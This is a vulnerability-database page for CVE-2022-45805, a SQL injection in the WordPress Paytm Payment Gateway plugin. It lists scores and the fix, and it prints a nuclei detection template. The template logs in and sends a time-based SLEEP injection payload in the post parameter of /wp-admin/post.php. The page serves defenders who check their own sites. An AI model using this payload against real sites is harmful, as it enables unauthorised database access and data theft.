HexBrain

Browse / CVEs / CVE-2022-45805

CVE-2022-45805· paytm / payment gateway· CWE-89

WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection

criticalseverity
9.8CVSS score
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

WordPress Paytm Payment Gateway plugin through 2.7.3 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Update to version 2.7.7 or a newer patched version.

How to confirm it

Send: POST /wp-login.php ; @timeout: 15s
Positive when: duration_2>=6 and status_code_2 == 200 and contains(body_2, "toplevel_page_paytm")

Run it with nuclei: nuclei -id CVE-2022-45805 -u <target>

The full check
id: CVE-2022-45805

info:
  name: WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Paytm Payment Gateway plugin through 2.7.3 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: Update to version 2.7.7 or a newer patched version.
  reference:
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-3-auth-sql-injection-sqli-vulnerability
    - https://wordpress.org/plugins/paytm-payments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45805
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-3-auth-sql-injection-sqli-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45805
    cwe-id: CWE-89
    epss-score: 0.02327
    epss-percentile: 0.83651
    cpe: cpe:2.3:a:paytm:payment_gateway:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: paytm
    product: payment_gateway
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,paytm-payments,authenticated,paytm,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/post.php?post=1+AND+(SELECT+6205+FROM+(SELECT(SLEEP(6)))RtRs)&action=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_2, "toplevel_page_paytm")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from